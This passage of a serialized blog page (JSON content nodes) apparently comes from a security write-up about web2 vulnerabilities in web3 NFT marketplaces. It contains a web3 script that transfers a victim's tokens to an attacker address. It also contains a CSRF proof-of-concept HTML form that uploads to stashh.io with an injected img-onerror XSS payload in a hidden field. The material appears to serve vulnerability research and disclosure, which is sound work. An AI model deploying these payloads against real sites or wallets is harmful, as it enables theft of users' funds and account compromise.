];\n",{"type":24,"tag":327,"props":38617,"children":38618},{"class":329,"line":4982},[38619],{"type":24,"tag":327,"props":38620,"children":38621},{"emptyLinePlaceholder":16},[38622],{"type":29,"value":544},{"type":24,"tag":327,"props":38624,"children":38625},{"class":329,"line":4990},[38626,38630,38635,38639,38644,38649,38653,38658,38662,38666],{"type":24,"tag":327,"props":38627,"children":38628},{"style":334},[38629],{"type":29,"value":38257},{"type":24,"tag":327,"props":38631,"children":38632},{"style":356},[38633],{"type":29,"value":38634}," web3",{"type":24,"tag":327,"props":38636,"children":38637},{"style":381},[38638],{"type":29,"value":4809},{"type":24,"tag":327,"props":38640,"children":38641},{"style":334},[38642],{"type":29,"value":38643}," new",{"type":24,"tag":327,"props":38645,"children":38646},{"style":340},[38647],{"type":29,"value":38648}," Web3",{"type":24,"tag":327,"props":38650,"children":38651},{"style":346},[38652],{"type":29,"value":349},{"type":24,"tag":327,"props":38654,"children":38655},{"style":356},[38656],{"type":29,"value":38657},"window",{"type":24,"tag":327,"props":38659,"children":38660},{"style":346},[38661],{"type":29,"value":66},{"type":24,"tag":327,"props":38663,"children":38664},{"style":356},[38665],{"type":29,"value":38127},{"type":24,"tag":327,"props":38667,"children":38668},{"style":346},[38669],{"type":29,"value":583},{"type":24,"tag":327,"props":38671,"children":38672},{"class":329,"line":4999},[38673],{"type":24,"tag":327,"props":38674,"children":38675},{"emptyLinePlaceholder":16},[38676],{"type":29,"value":544},{"type":24,"tag":327,"props":38678,"children":38679},{"class":329,"line":5042},[38680,38684,38689,38693,38697,38701,38705,38710,38714,38719,38723,38728,38732,38737],{"type":24,"tag":327,"props":38681,"children":38682},{"style":334},[38683],{"type":29,"value":38257},{"type":24,"tag":327,"props":38685,"children":38686},{"style":356},[38687],{"type":29,"value":38688}," tokenContract",{"type":24,"tag":327,"props":38690,"children":38691},{"style":381},[38692],{"type":29,"value":4809},{"type":24,"tag":327,"props":38694,"children":38695},{"style":334},[38696],{"type":29,"value":38643},{"type":24,"tag":327,"props":38698,"children":38699},{"style":356},[38700],{"type":29,"value":38634},{"type":24,"tag":327,"props":38702,"children":38703},{"style":346},[38704],{"type":29,"value":66},{"type":24,"tag":327,"props":38706,"children":38707},{"style":356},[38708],{"type":29,"value":38709},"eth",{"type":24,"tag":327,"props":38711,"children":38712},{"style":346},[38713],{"type":29,"value":66},{"type":24,"tag":327,"props":38715,"children":38716},{"style":340},[38717],{"type":29,"value":38718},"Contract",{"type":24,"tag":327,"props":38720,"children":38721},{"style":346},[38722],{"type":29,"value":349},{"type":24,"tag":327,"props":38724,"children":38725},{"style":356},[38726],{"type":29,"value":38727},"tokenAbi",{"type":24,"tag":327,"props":38729,"children":38730},{"style":346},[38731],{"type":29,"value":2744},{"type":24,"tag":327,"props":38733,"children":38734},{"style":356},[38735],{"type":29,"value":38736},"contractAddress",{"type":24,"tag":327,"props":38738,"children":38739},{"style":346},[38740],{"type":29,"value":583},{"type":24,"tag":327,"props":38742,"children":38743},{"class":329,"line":5075},[38744],{"type":24,"tag":327,"props":38745,"children":38746},{"emptyLinePlaceholder":16},[38747],{"type":29,"value":544},{"type":24,"tag":327,"props":38749,"children":38750},{"class":329,"line":5083},[38751,38755,38760,38764],{"type":24,"tag":327,"props":38752,"children":38753},{"style":334},[38754],{"type":29,"value":38257},{"type":24,"tag":327,"props":38756,"children":38757},{"style":356},[38758],{"type":29,"value":38759}," transactionObject",{"type":24,"tag":327,"props":38761,"children":38762},{"style":381},[38763],{"type":29,"value":4809},{"type":24,"tag":327,"props":38765,"children":38766},{"style":346},[38767],{"type":29,"value":497},{"type":24,"tag":327,"props":38769,"children":38770},{"class":329,"line":5091},[38771,38776,38780],{"type":24,"tag":327,"props":38772,"children":38773},{"style":356},[38774],{"type":29,"value":38775},"        from:",{"type":24,"tag":327,"props":38777,"children":38778},{"style":356},[38779],{"type":29,"value":38262},{"type":24,"tag":327,"props":38781,"children":38782},{"style":346},[38783],{"type":29,"value":2231},{"type":24,"tag":327,"props":38785,"children":38786},{"class":329,"line":5100},[38787,38792,38796],{"type":24,"tag":327,"props":38788,"children":38789},{"style":356},[38790],{"type":29,"value":38791},"        to:",{"type":24,"tag":327,"props":38793,"children":38794},{"style":356},[38795],{"type":29,"value":38321},{"type":24,"tag":327,"props":38797,"children":38798},{"style":346},[38799],{"type":29,"value":2231},{"type":24,"tag":327,"props":38801,"children":38802},{"class":329,"line":5176},[38803,38808,38812,38816],{"type":24,"tag":327,"props":38804,"children":38805},{"style":356},[38806],{"type":29,"value":38807},"        data:",{"type":24,"tag":327,"props":38809,"children":38810},{"style":356},[38811],{"type":29,"value":38688},{"type":24,"tag":327,"props":38813,"children":38814},{"style":346},[38815],{"type":29,"value":66},{"type":24,"tag":327,"props":38817,"children":38818},{"style":356},[38819],{"type":29,"value":38820},"methods\n",{"type":24,"tag":327,"props":38822,"children":38823},{"class":329,"line":5209},[38824,38829,38834,38838,38843,38847,38852,38856,38861,38865,38870,38874,38879,38883,38888],{"type":24,"tag":327,"props":38825,"children":38826},{"style":346},[38827],{"type":29,"value":38828},"          .",{"type":24,"tag":327,"props":38830,"children":38831},{"style":340},[38832],{"type":29,"value":38833},"transfer",{"type":24,"tag":327,"props":38835,"children":38836},{"style":346},[38837],{"type":29,"value":349},{"type":24,"tag":327,"props":38839,"children":38840},{"style":356},[38841],{"type":29,"value":38842},"attackerAddress",{"type":24,"tag":327,"props":38844,"children":38845},{"style":346},[38846],{"type":29,"value":2744},{"type":24,"tag":327,"props":38848,"children":38849},{"style":356},[38850],{"type":29,"value":38851},"web3",{"type":24,"tag":327,"props":38853,"children":38854},{"style":346},[38855],{"type":29,"value":66},{"type":24,"tag":327,"props":38857,"children":38858},{"style":356},[38859],{"type":29,"value":38860},"utils",{"type":24,"tag":327,"props":38862,"children":38863},{"style":346},[38864],{"type":29,"value":66},{"type":24,"tag":327,"props":38866,"children":38867},{"style":340},[38868],{"type":29,"value":38869},"toWei",{"type":24,"tag":327,"props":38871,"children":38872},{"style":346},[38873],{"type":29,"value":349},{"type":24,"tag":327,"props":38875,"children":38876},{"style":844},[38877],{"type":29,"value":38878},"'100000000'",{"type":24,"tag":327,"props":38880,"children":38881},{"style":346},[38882],{"type":29,"value":2744},{"type":24,"tag":327,"props":38884,"children":38885},{"style":844},[38886],{"type":29,"value":38887},"'ether'",{"type":24,"tag":327,"props":38889,"children":38890},{"style":346},[38891],{"type":29,"value":1045},{"type":24,"tag":327,"props":38893,"children":38894},{"class":329,"line":5217},[38895,38899,38904],{"type":24,"tag":327,"props":38896,"children":38897},{"style":346},[38898],{"type":29,"value":38828},{"type":24,"tag":327,"props":38900,"children":38901},{"style":340},[38902],{"type":29,"value":38903},"encodeABI",{"type":24,"tag":327,"props":38905,"children":38906},{"style":346},[38907],{"type":29,"value":5357},{"type":24,"tag":327,"props":38909,"children":38910},{"class":329,"line":5225},[38911],{"type":24,"tag":327,"props":38912,"children":38913},{"style":346},[38914],{"type":29,"value":16477},{"type":24,"tag":327,"props":38916,"children":38917},{"class":329,"line":5263},[38918],{"type":24,"tag":327,"props":38919,"children":38920},{"emptyLinePlaceholder":16},[38921],{"type":29,"value":544},{"type":24,"tag":327,"props":38923,"children":38924},{"class":329,"line":5276},[38925,38930,38934,38938,38942,38947,38951,38956],{"type":24,"tag":327,"props":38926,"children":38927},{"style":356},[38928],{"type":29,"value":38929},"      web3",{"type":24,"tag":327,"props":38931,"children":38932},{"style":346},[38933],{"type":29,"value":66},{"type":24,"tag":327,"props":38935,"children":38936},{"style":356},[38937],{"type":29,"value":38709},{"type":24,"tag":327,"props":38939,"children":38940},{"style":346},[38941],{"type":29,"value":66},{"type":24,"tag":327,"props":38943,"children":38944},{"style":340},[38945],{"type":29,"value":38946},"sendTransaction",{"type":24,"tag":327,"props":38948,"children":38949},{"style":346},[38950],{"type":29,"value":349},{"type":24,"tag":327,"props":38952,"children":38953},{"style":356},[38954],{"type":29,"value":38955},"transactionObject",{"type":24,"tag":327,"props":38957,"children":38958},{"style":346},[38959],{"type":29,"value":583},{"type":24,"tag":327,"props":38961,"children":38962},{"class":329,"line":5289},[38963],{"type":24,"tag":327,"props":38964,"children":38965},{"style":346},[38966],{"type":29,"value":38967},"    });\n",{"type":24,"tag":327,"props":38969,"children":38970},{"class":329,"line":5302},[38971],{"type":24,"tag":327,"props":38972,"children":38973},{"style":346},[38974],{"type":29,"value":13439},{"type":24,"tag":327,"props":38976,"children":38977},{"class":329,"line":5360},[38978],{"type":24,"tag":327,"props":38979,"children":38980},{"style":346},[38981],{"type":29,"value":592},{"type":24,"tag":327,"props":38983,"children":38984},{"class":329,"line":5369},[38985],{"type":24,"tag":327,"props":38986,"children":38987},{"emptyLinePlaceholder":16},[38988],{"type":29,"value":544},{"type":24,"tag":327,"props":38990,"children":38992},{"class":329,"line":38991},51,[38993,38997,39001,39006],{"type":24,"tag":327,"props":38994,"children":38995},{"style":334},[38996],{"type":29,"value":812},{"type":24,"tag":327,"props":38998,"children":38999},{"style":346},[39000],{"type":29,"value":349},{"type":24,"tag":327,"props":39002,"children":39003},{"style":844},[39004],{"type":29,"value":39005},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":24,"tag":327,"props":39007,"children":39008},{"style":346},[39009],{"type":29,"value":583},{"type":24,"tag":327,"props":39011,"children":39013},{"class":329,"line":39012},52,[39014,39019,39023,39027,39031,39036],{"type":24,"tag":327,"props":39015,"children":39016},{"style":340},[39017],{"type":29,"value":39018},"setTimeout",{"type":24,"tag":327,"props":39020,"children":39021},{"style":346},[39022],{"type":29,"value":349},{"type":24,"tag":327,"props":39024,"children":39025},{"style":356},[39026],{"type":29,"value":38203},{"type":24,"tag":327,"props":39028,"children":39029},{"style":346},[39030],{"type":29,"value":2744},{"type":24,"tag":327,"props":39032,"children":39033},{"style":397},[39034],{"type":29,"value":39035},"1e3",{"type":24,"tag":327,"props":39037,"children":39038},{"style":346},[39039],{"type":29,"value":583},{"type":24,"tag":25,"props":39041,"children":39042},{},[39043,39048],{"type":24,"tag":188,"props":39044,"children":39045},{},[39046],{"type":29,"value":39047},"CSRF & XSS",{"type":29,"value":39049},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":24,"tag":25,"props":39051,"children":39052},{},[39053,39055,39060],{"type":29,"value":39054},"Our attention was drawn to ",{"type":24,"tag":57,"props":39056,"children":39058},{"href":37990,"rel":39057},[61],[39059],{"type":29,"value":37994},{"type":29,"value":39061},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":24,"tag":25,"props":39063,"children":39064},{},[39065],{"type":24,"tag":11511,"props":39066,"children":39068},{"alt":7,"src":39067},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":24,"tag":25,"props":39070,"children":39071},{},[39072],{"type":29,"value":39073},"and here there is the code:",{"type":24,"tag":317,"props":39075,"children":39077},{"className":38073,"code":39076,"language":38075,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[39078],{"type":24,"tag":284,"props":39079,"children":39080},{"__ignoreMap":7},[39081,39098,39115,39149,39235,39292,39491,39532,39548,39564,39571,39586,39593,39605,39664,39671,39734,39763,39801,39808,39846,39859,39866,39881],{"type":24,"tag":327,"props":39082,"children":39083},{"class":329,"line":330},[39084,39089,39094],{"type":24,"tag":327,"props":39085,"children":39087},{"style":39086},"--shiki-default:#808080",[39088],{"type":29,"value":1596},{"type":24,"tag":327,"props":39090,"children":39091},{"style":334},[39092],{"type":29,"value":39093},"html",{"type":24,"tag":327,"props":39095,"children":39096},{"style":39086},[39097],{"type":29,"value":9571},{"type":24,"tag":327,"props":39099,"children":39100},{"class":329,"line":367},[39101,39106,39111],{"type":24,"tag":327,"props":39102,"children":39103},{"style":39086},[39104],{"type":29,"value":39105},"  \u003C",{"type":24,"tag":327,"props":39107,"children":39108},{"style":334},[39109],{"type":29,"value":39110},"body",{"type":24,"tag":327,"props":39112,"children":39113},{"style":39086},[39114],{"type":29,"value":9571},{"type":24,"tag":327,"props":39116,"children":39117},{"class":329,"line":408},[39118,39122,39127,39131,39136,39141,39145],{"type":24,"tag":327,"props":39119,"children":39120},{"style":39086},[39121],{"type":29,"value":39105},{"type":24,"tag":327,"props":39123,"children":39124},{"style":334},[39125],{"type":29,"value":39126},"script",{"type":24,"tag":327,"props":39128,"children":39129},{"style":39086},[39130],{"type":29,"value":438},{"type":24,"tag":327,"props":39132,"children":39133},{"style":346},[39134],{"type":29,"value":39135},"history.pushState('', '', '/')",{"type":24,"tag":327,"props":39137,"children":39138},{"style":39086},[39139],{"type":29,"value":39140},"\u003C/",{"type":24,"tag":327,"props":39142,"children":39143},{"style":334},[39144],{"type":29,"value":39126},{"type":24,"tag":327,"props":39146,"children":39147},{"style":39086},[39148],{"type":29,"value":9571},{"type":24,"tag":327,"props":39150,"children":39151},{"class":329,"line":421},[39152,39157,39162,39167,39171,39176,39181,39185,39190,39194,39198,39203,39208,39212,39217,39222,39226,39231],{"type":24,"tag":327,"props":39153,"children":39154},{"style":39086},[39155],{"type":29,"value":39156},"    \u003C",{"type":24,"tag":327,"props":39158,"children":39159},{"style":334},[39160],{"type":29,"value":39161},"form",{"type":24,"tag":327,"props":39163,"children":39164},{"style":356},[39165],{"type":29,"value":39166}," id",{"type":24,"tag":327,"props":39168,"children":39169},{"style":381},[39170],{"type":29,"value":384},{"type":24,"tag":327,"props":39172,"children":39173},{"style":844},[39174],{"type":29,"value":39175},"\"form123\"",{"type":24,"tag":327,"props":39177,"children":39178},{"style":356},[39179],{"type":29,"value":39180}," action",{"type":24,"tag":327,"props":39182,"children":39183},{"style":381},[39184],{"type":29,"value":384},{"type":24,"tag":327,"props":39186,"children":39187},{"style":844},[39188],{"type":29,"value":39189},"\"https://stashh.io/upload_asset\"",{"type":24,"tag":327,"props":39191,"children":39192},{"style":356},[39193],{"type":29,"value":24622},{"type":24,"tag":327,"props":39195,"children":39196},{"style":381},[39197],{"type":29,"value":384},{"type":24,"tag":327,"props":39199,"children":39200},{"style":844},[39201],{"type":29,"value":39202},"\"POST\"",{"type":24,"tag":327,"props":39204,"children":39205},{"style":356},[39206],{"type":29,"value":39207}," enctype",{"type":24,"tag":327,"props":39209,"children":39210},{"style":381},[39211],{"type":29,"value":384},{"type":24,"tag":327,"props":39213,"children":39214},{"style":844},[39215],{"type":29,"value":39216},"\"multipart/form-data\"",{"type":24,"tag":327,"props":39218,"children":39219},{"style":356},[39220],{"type":29,"value":39221}," value",{"type":24,"tag":327,"props":39223,"children":39224},{"style":381},[39225],{"type":29,"value":384},{"type":24,"tag":327,"props":39227,"children":39228},{"style":844},[39229],{"type":29,"value":39230},"\"asd\"",{"type":24,"tag":327,"props":39232,"children":39233},{"style":39086},[39234],{"type":29,"value":9571},{"type":24,"tag":327,"props":39236,"children":39237},{"class":329,"line":450},[39238,39243,39247,39252,39256,39261,39266,39270,39275,39279,39283,39288],{"type":24,"tag":327,"props":39239,"children":39240},{"style":39086},[39241],{"type":29,"value":39242},"     \u003C",{"type":24,"tag":327,"props":39244,"children":39245},{"style":334},[39246],{"type":29,"value":15927},{"type":24,"tag":327,"props":39248,"children":39249},{"style":356},[39250],{"type":29,"value":39251}," type",{"type":24,"tag":327,"props":39253,"children":39254},{"style":381},[39255],{"type":29,"value":384},{"type":24,"tag":327,"props":39257,"children":39258},{"style":844},[39259],{"type":29,"value":39260},"\"file\"",{"type":24,"tag":327,"props":39262,"children":39263},{"style":356},[39264],{"type":29,"value":39265}," name",{"type":24,"tag":327,"props":39267,"children":39268},{"style":381},[39269],{"type":29,"value":384},{"type":24,"tag":327,"props":39271,"children":39272},{"style":844},[39273],{"type":29,"value":39274},"\"data\"",{"type":24,"tag":327,"props":39276,"children":39277},{"style":356},[39278],{"type":29,"value":39166},{"type":24,"tag":327,"props":39280,"children":39281},{"style":381},[39282],{"type":29,"value":384},{"type":24,"tag":327,"props":39284,"children":39285},{"style":844},[39286],{"type":29,"value":39287},"\"file123\"",{"type":24,"tag":327,"props":39289,"children":39290},{"style":39086},[39291],{"type":29,"value":9571},{"type":24,"tag":327,"props":39293,"children":39294},{"class":329,"line":481},[39295,39300,39304,39308,39312,39317,39321,39325,39330,39334,39338,39342,39347,39352,39357,39362,39367,39371,39376,39381,39386,39390,39395,39400,39404,39409,39414,39419,39424,39429,39434,39439,39443,39448,39453,39458,39463,39468,39472,39477,39482,39486],{"type":24,"tag":327,"props":39296,"children":39297},{"style":39086},[39298],{"type":29,"value":39299},"      \u003C",{"type":24,"tag":327,"props":39301,"children":39302},{"style":334},[39303],{"type":29,"value":15927},{"type":24,"tag":327,"props":39305,"children":39306},{"style":356},[39307],{"type":29,"value":39251},{"type":24,"tag":327,"props":39309,"children":39310},{"style":381},[39311],{"type":29,"value":384},{"type":24,"tag":327,"props":39313,"children":39314},{"style":844},[39315],{"type":29,"value":39316},"\"hidden\"",{"type":24,"tag":327,"props":39318,"children":39319},{"style":356},[39320],{"type":29,"value":39265},{"type":24,"tag":327,"props":39322,"children":39323},{"style":381},[39324],{"type":29,"value":384},{"type":24,"tag":327,"props":39326,"children":39327},{"style":844},[39328],{"type":29,"value":39329},"\"config\"",{"type":24,"tag":327,"props":39331,"children":39332},{"style":356},[39333],{"type":29,"value":39221},{"type":24,"tag":327,"props":39335,"children":39336},{"style":381},[39337],{"type":29,"value":384},{"type":24,"tag":327,"props":39339,"children":39340},{"style":844},[39341],{"type":29,"value":1406},{"type":24,"tag":327,"props":39343,"children":39344},{"style":334},[39345],{"type":29,"value":39346},"{"",{"type":24,"tag":327,"props":39348,"children":39349},{"style":844},[39350],{"type":29,"value":39351},"address",{"type":24,"tag":327,"props":39353,"children":39354},{"style":334},[39355],{"type":29,"value":39356},"":"",{"type":24,"tag":327,"props":39358,"children":39359},{"style":844},[39360],{"type":29,"value":39361},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":24,"tag":327,"props":39363,"children":39364},{"style":334},[39365],{"type":29,"value":39366},"<",{"type":24,"tag":327,"props":39368,"children":39369},{"style":844},[39370],{"type":29,"value":11511},{"type":24,"tag":327,"props":39372,"children":39373},{"style":334},[39374],{"type":29,"value":39375},"/",{"type":24,"tag":327,"props":39377,"children":39378},{"style":844},[39379],{"type":29,"value":39380},"src",{"type":24,"tag":327,"props":39382,"children":39383},{"style":334},[39384],{"type":29,"value":39385},"=",{"type":24,"tag":327,"props":39387,"children":39388},{"style":844},[39389],{"type":29,"value":603},{"type":24,"tag":327,"props":39391,"children":39392},{"style":334},[39393],{"type":29,"value":39394}," ",{"type":24,"tag":327,"props":39396,"children":39397},{"style":844},[39398],{"type":29,"value":39399},"onerror",{"type":24,"tag":327,"props":39401,"children":39402},{"style":334},[39403],{"type":29,"value":39385},{"type":24,"tag":327,"props":39405,"children":39406},{"style":844},[39407],{"type":29,"value":39408},"alert",{"type":24,"tag":327,"props":39410,"children":39411},{"style":334},[39412],{"type":29,"value":39413},"(",{"type":24,"tag":327,"props":39415,"children":39416},{"style":844},[39417],{"type":29,"value":39418},"document",{"type":24,"tag":327,"props":39420,"children":39421},{"style":334},[39422],{"type":29,"value":39423},".",{"type":24,"tag":327,"props":39425,"children":39426},{"style":844},[39427],{"type":29,"value":39428},"domain",{"type":24,"tag":327,"props":39430,"children":39431},{"style":334},[39432],{"type":29,"value":39433},")>","",{"type":24,"tag":327,"props":39435,"children":39436},{"style":844},[39437],{"type":29,"value":39438},"to",{"type":24,"tag":327,"props":39440,"children":39441},{"style":334},[39442],{"type":29,"value":39356},{"type":24,"tag":327,"props":39444,"children":39445},{"style":844},[39446],{"type":29,"value":39447},"profile",{"type":24,"tag":327,"props":39449,"children":39450},{"style":334},[39451],{"type":29,"value":39452},"-",{"type":24,"tag":327,"props":39454,"children":39455},{"style":844},[39456],{"type":29,"value":39457},"assets",{"type":24,"tag":327,"props":39459,"children":39460},{"style":334},[39461],{"type":29,"value":39462},"","",{"type":24,"tag":327,"props":39464,"children":39465},{"style":844},[39466],{"type":29,"value":39467},"type",{"type":24,"tag":327,"props":39469,"children":39470},{"style":334},[39471],{"type":29,"value":39356},{"type":24,"tag":327,"props":39473,"children":39474},{"style":844},[39475],{"type":29,"value":39476},"icon",{"type":24,"tag":327,"props":39478,"children":39479},{"style":334},[39480],{"type":29,"value":39481},""}",{"type":24,"tag":327,"props":39483,"children":39484},{"style":844},[39485],{"type":29,"value":1406},{"type":24,"tag":327,"props":39487,"children":39488},{"style":39086},[39489],{"type":29,"value":39490}," />\n",{"type":24,"tag":327,"props":39492,"children":39493},{"class":329,"line":500},[39494,39498,39502,39506,39510,39515,39519,39523,39528],{"type":24,"tag":327,"props":39495,"children":39496},{"style":39086},[39497],{"type":29,"value":39299},{"type":24,"tag":327,"props":39499,"children":39500},{"style":334},[39501],{"type":29,"value":15927},{"type":24,"tag":327,"props":39503,"children":39504},{"style":356},[39505],{"type":29,"value":39251},{"type":24,"tag":327,"props":39507,"children":39508},{"style":381},[39509],{"type":29,"value":384},{"type":24,"tag":327,"props":39511,"children":39512},{"style":844},[39513],{"type":29,"value":39514},"\"submit\"",{"type":24,"tag":327,"props":39516,"children":39517},{"style":356},[39518],{"type":29,"value":39221},{"type":24,"tag":327,"props":39520,"children":39521},{"style":381},[39522],{"type":29,"value":384},{"type":24,"tag":327,"props":39524,"children":39525},{"style":844},[39526],{"type":29,"value":39527},"\"Submit request\"",{"type":24,"tag":327,"props":39529,"children":39530},{"style":39086},[39531],{"type":29,"value":39490},{"type":24,"tag":327,"props":39533,"children":39534},{"class":329,"line":529},[39535,39540,39544],{"type":24,"tag":327,"props":39536,"children":39537},{"style":39086},[39538],{"type":29,"value":39539},"    \u003C/",{"type":24,"tag":327,"props":39541,"children":39542},{"style":334},[39543],{"type":29,"value":39161},{"type":24,"tag":327,"props":39545,"children":39546},{"style":39086},[39547],{"type":29,"value":9571},{"type":24,"tag":327,"props":39549,"children":39550},{"class":329,"line":538},[39551,39556,39560],{"type":24,"tag":327,"props":39552,"children":39553},{"style":39086},[39554],{"type":29,"value":39555},"  \u003C/",{"type":24,"tag":327,"props":39557,"children":39558},{"style":334},[39559],{"type":29,"value":39110},{"type":24,"tag":327,"props":39561,"children":39562},{"style":39086},[39563],{"type":29,"value":9571},{"type":24,"tag":327,"props":39565,"children":39566},{"class":329,"line":547},[39567],{"type":24,"tag":327,"props":39568,"children":39569},{"emptyLinePlaceholder":16},[39570],{"type":29,"value":544},{"type":24,"tag":327,"props":39572,"children":39573},{"class":329,"line":557},[39574,39578,39582],{"type":24,"tag":327,"props":39575,"children":39576},{"style":39086},[39577],{"type":29,"value":39105},{"type":24,"tag":327,"props":39579,"children":39580},{"style":334},[39581],{"type":29,"value":39126},{"type":24,"tag":327,"props":39583,"children":39584},{"style":39086},[39585],{"type":29,"value":9571},{"type":24,"tag":327,"props":39587,"children":39588},{"class":329,"line":586},[39589],{"type":24,"tag":327,"props":39590,"children":39591},{"emptyLinePlaceholder":16},[39592],{"type":29,"value":544},{"type":24,"tag":327,"props":39594,"children":39595},{"class":329,"line":1017},[39596,39601],{"type":24,"tag":327,"props":39597,"children":39598},{"style":346},[39599],{"type":29,"value":39600},"    (async ()=>",{"type":24,"tag":327,"props":39602,"children":39603},{"style":334},[39604],{"type":29,"value":18427},{"type":24,"tag":327,"props":39606,"children":39607},{"class":329,"line":1026},[39608,39613,39618,39623,39628,39632,39636,39641,39645,39650,39655,39660],{"type":24,"tag":327,"props":39609,"children":39610},{"style":356},[39611],{"type":29,"value":39612},"        const",{"type":24,"tag":327,"props":39614,"children":39615},{"style":356},[39616],{"type":29,"value":39617}," blob",{"type":24,"tag":327,"props":39619,"children":39620},{"style":381},[39621],{"type":29,"value":39622}," = ",{"type":24,"tag":327,"props":39624,"children":39625},{"style":425},[39626],{"type":29,"value":39627},"await",{"type":24,"tag":327,"props":39629,"children":39630},{"style":381},[39631],{"type":29,"value":5894},{"type":24,"tag":327,"props":39633,"children":39634},{"style":425},[39635],{"type":29,"value":39627},{"type":24,"tag":327,"props":39637,"children":39638},{"style":340},[39639],{"type":29,"value":39640}," fetch",{"type":24,"tag":327,"props":39642,"children":39643},{"style":381},[39644],{"type":29,"value":349},{"type":24,"tag":327,"props":39646,"children":39647},{"style":844},[39648],{"type":29,"value":39649},"\"/sapo.png\"",{"type":24,"tag":327,"props":39651,"children":39652},{"style":381},[39653],{"type":29,"value":39654},")).",{"type":24,"tag":327,"props":39656,"children":39657},{"style":340},[39658],{"type":29,"value":39659},"blob",{"type":24,"tag":327,"props":39661,"children":39662},{"style":381},[39663],{"type":29,"value":15298},{"type":24,"tag":327,"props":39665,"children":39666},{"class":329,"line":1048},[39667],{"type":24,"tag":327,"props":39668,"children":39669},{"emptyLinePlaceholder":16},[39670],{"type":29,"value":544},{"type":24,"tag":327,"props":39672,"children":39673},{"class":329,"line":1067},[39674,39678,39683,39687,39691,39696,39701,39705,39709,39714,39719,39724,39729],{"type":24,"tag":327,"props":39675,"children":39676},{"style":356},[39677],{"type":29,"value":7558},{"type":24,"tag":327,"props":39679,"children":39680},{"style":356},[39681],{"type":29,"value":39682}," f",{"type":24,"tag":327,"props":39684,"children":39685},{"style":381},[39686],{"type":29,"value":39622},{"type":24,"tag":327,"props":39688,"children":39689},{"style":334},[39690],{"type":29,"value":22646},{"type":24,"tag":327,"props":39692,"children":39693},{"style":340},[39694],{"type":29,"value":39695}," File",{"type":24,"tag":327,"props":39697,"children":39698},{"style":381},[39699],{"type":29,"value":39700},"([",{"type":24,"tag":327,"props":39702,"children":39703},{"style":356},[39704],{"type":29,"value":39659},{"type":24,"tag":327,"props":39706,"children":39707},{"style":381},[39708],{"type":29,"value":4474},{"type":24,"tag":327,"props":39710,"children":39711},{"style":844},[39712],{"type":29,"value":39713},"'sapo.png'",{"type":24,"tag":327,"props":39715,"children":39716},{"style":381},[39717],{"type":29,"value":39718},", {",{"type":24,"tag":327,"props":39720,"children":39721},{"style":356},[39722],{"type":29,"value":39723},"type:",{"type":24,"tag":327,"props":39725,"children":39726},{"style":844},[39727],{"type":29,"value":39728}," 'image/png'",{"type":24,"tag":327,"props":39730,"children":39731},{"style":381},[39732],{"type":29,"value":39733},"})\n",{"type":24,"tag":327,"props":39735,"children":39736},{"class":329,"line":1075},[39737,39741,39746,39750,39754,39759],{"type":24,"tag":327,"props":39738,"children":39739},{"style":356},[39740],{"type":29,"value":39612},{"type":24,"tag":327,"props":39742,"children":39743},{"style":356},[39744],{"type":29,"value":39745}," dataTransfer",{"type":24,"tag":327,"props":39747,"children":39748},{"style":381},[39749],{"type":29,"value":39622},{"type":24,"tag":327,"props":39751,"children":39752},{"style":334},[39753],{"type":29,"value":22646},{"type":24,"tag":327,"props":39755,"children":39756},{"style":340},[39757],{"type":29,"value":39758}," DataTransfer",{"type":24,"tag":327,"props":39760,"children":39761},{"style":381},[39762],{"type":29,"value":4838},{"type":24,"tag":327,"props":39764,"children":39765},{"class":329,"line":1084},[39766,39771,39775,39780,39784,39788,39792,39797],{"type":24,"tag":327,"props":39767,"children":39768},{"style":356},[39769],{"type":29,"value":39770},"        dataTransfer",{"type":24,"tag":327,"props":39772,"children":39773},{"style":381},[39774],{"type":29,"value":66},{"type":24,"tag":327,"props":39776,"children":39777},{"style":356},[39778],{"type":29,"value":39779},"items",{"type":24,"tag":327,"props":39781,"children":39782},{"style":381},[39783],{"type":29,"value":66},{"type":24,"tag":327,"props":39785,"children":39786},{"style":340},[39787],{"type":29,"value":280},{"type":24,"tag":327,"props":39789,"children":39790},{"style":381},[39791],{"type":29,"value":349},{"type":24,"tag":327,"props":39793,"children":39794},{"style":356},[39795],{"type":29,"value":39796},"f",{"type":24,"tag":327,"props":39798,"children":39799},{"style":381},[39800],{"type":29,"value":583},{"type":24,"tag":327,"props":39802,"children":39803},{"class":329,"line":1100},[39804],{"type":24,"tag":327,"props":39805,"children":39806},{"emptyLinePlaceholder":16},[39807],{"type":29,"value":544},{"type":24,"tag":327,"props":39809,"children":39810},{"class":329,"line":1128},[39811,39816,39820,39825,39829,39834,39838,39842],{"type":24,"tag":327,"props":39812,"children":39813},{"style":356},[39814],{"type":29,"value":39815},"        